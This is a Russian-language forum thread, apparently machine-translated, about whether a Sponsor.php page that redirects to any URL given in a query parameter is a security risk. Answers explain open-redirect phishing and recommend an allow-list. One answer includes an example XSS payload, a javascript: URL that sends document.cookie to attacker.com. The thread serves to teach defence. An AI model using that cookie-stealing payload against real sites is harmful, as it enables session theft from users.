Можете ли вы найти проблему веб-безопасности здесь? - PullRequest
2 голосов
/ 17 октября 2008

У меня есть веб-страница, которая перенаправляет на другую веб-страницу, например:

http://www.myOtherServer.com/Sponsor.php?RedirectPage=http://mylink.com/whereIwasgoingtogo.html

Затем на странице Sponsor.php отображается объявление со ссылкой «Перейти на вашу страницу», которая ссылается на переданный в RedirectPage. Есть ли какие-либо проблемы с безопасностью / спуфингом? Каков наилучший способ справиться с этим? (обратите внимание, что пользователь не вошел ни на один сайт)

Ответы [ 3 ]

10 голосов
/ 07 июля 2009

Это большая проблема. Если я пришлю вам ссылку, которая выглядит следующим образом:

 http://cnn.com/sponsor.php?redirectpage=http://bit.ly/jh2l14

Вы будете думать "О, CNN, это законный сайт", и вы откроете его и нажмете ссылку "Перейти на свою страницу". И тогда вы будете на одной из самых отвратительных порно сайтов в сети, и она будет иметь гигантский бум мужской голос объявил всем своим сотрудникам "Hot Damn Я хочу! @ $ @ # $ Ваш! (& ¤ & ^ $ §, пока я не смогу ¡⌐ ^ (! # ~~ & $ ^ #! @ $ !!", и вам придется объяснить своему боссу" Я думал, что это был CNN! «

дыра здесь ваша репутация . Подобные слепые перенаправления опасны.

И это только одна дыра. Как насчет этого?

 http://cnn.com/sponsor.php?redirectpage=javascript:location.href='http://attacker.com/' + document.cookie

Теперь я XSS-редактировал ваш сайт и украл куки вашего пользователя. Конечно, вы говорите, что нет информации для входа, но как насчет данных сессии? Или когда вы добавляете логин позже, или кто-то в вашей компании использует эту страницу годом позже, когда пользователи входят в систему.

0 голосов
/ 17 октября 2008

Если спонсор.php допускает какое-либо значение в рекламе RedirectPage И, подразумевает одобрение или побуждает людей думать, что они находятся на правильном пути, вы открываете его для участия в фишинг-атаке. Что еще хуже, вы, вероятно, получите выгоду от этих атак, которые, вероятно, вызовут недовольство людей.

Ведение списка разрешенных URL-адресов (или шаблонов, которым они могут следовать) будет иметь большое значение для предотвращения проблем.

0 голосов
/ 17 октября 2008

Это определенно угроза безопасности. Вы должны избегать использования переменных в URL, когда речь идет о безопасности.

Хотя ничто не является полностью безопасным, это гораздо лучший способ решения этой проблемы: http://www.webmasterworld.com/forum88/2910.htm

...